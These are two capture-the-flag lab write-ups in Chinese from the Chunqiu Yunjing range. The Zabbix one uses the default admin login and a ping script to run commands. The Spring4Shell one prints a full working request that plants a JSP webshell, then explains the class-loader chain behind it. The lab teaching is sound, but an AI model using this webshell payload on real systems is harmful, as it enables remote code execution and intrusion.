【春秋云境】CVE-2022-23134靶场WP
网站地址:https://yunjing.ichunqiu.com/
渗透测试
1.已知提示
- Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 存在安全漏洞,该漏洞源于在初始设置过程之后,setup.php 文件的某些步骤不仅可以由超级管理员访问,也可以由未经身份验证的用户访问。
2.开启靶场
3.登陆系统
-
账号Admin,密码zabbix登入进系统
4.找到存在漏洞的位置
-
Administration->Scripts->Ping
5.输入命令
-
输入代码
cat /flag
,点击Update
6.执行命令
- Monitoring->Maps->Local network,单击图形,再点击ping
成功获得flag
【春秋云境】CVE-2022-22965靶场WP
网站地址:https://yunjing.ichunqiu.com/
渗透测试
1.已知提示
- Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
2.开启靶场
3.使用burpsuite抓包
-
开启BP抓包,并修改请求包,然后放行
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: eci-2zebn203x9kbec0o93cp.cloudeci1.ichunqiu.com:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 suffix: %>// c1: Runtime c2: <% DNT: 1 Connection: close
4.执行命令
- 访问路径/tomcatwar.jsp?pwd=j&cmd=cat%20/flag,即可看到flag
5.漏洞原理
-
Spring Framework:一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为 J2EE 应用程序开发提供了一个好用的框架。当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行
-
首先看Controller,参数绑定了Greeting类的对象greeting:
@Controller public class HelloController { @PostMapping("/greeting") public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) { return "hello"; } }
-
攻击payload为:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
-
攻击发起的get请求的请求头为:
get_headers = { "prefix": "<%", "suffix": "%>//", # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern "c": "Runtime", }
-
简单分析一下,相当于发送了以下参数:
- class.module.classLoader.resources.context.parent.pipeline.first.pattern
=带有某前缀和后缀的[jsp webshell] - class.module.classLoader.resources.context.parent.pipeline.first.suffix
=.jsp - class.module.classLoader.resources.context.parent.pipeline.first.directory
=shell的文件名(不含后缀) - class.module.classLoader.resources.context.parent.pipeline.first.prefix
=shell的储存路径(相对路径,默认为webapps/ROOT) - class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
=(空)
- class.module.classLoader.resources.context.parent.pipeline.first.pattern
-
类似地,依次进行各层的解析,总体解析过程为:
User.getClass() java.lang.Class.getModule() java.lang.Module.getClassLoader() org.apache.catalina.loader.ParallelWebappClassLoader.getResources() org.apache.catalina.webresources.StandardRoot.getContext() org.apache.catalina.core.StandardContext.getParent() org.apache.catalina.core.StandardHost.getPipeline() org.apache.catalina.core.StandardPipeline.getFirst() org.apache.catalina.valves.AccessLogValve.setSuffix()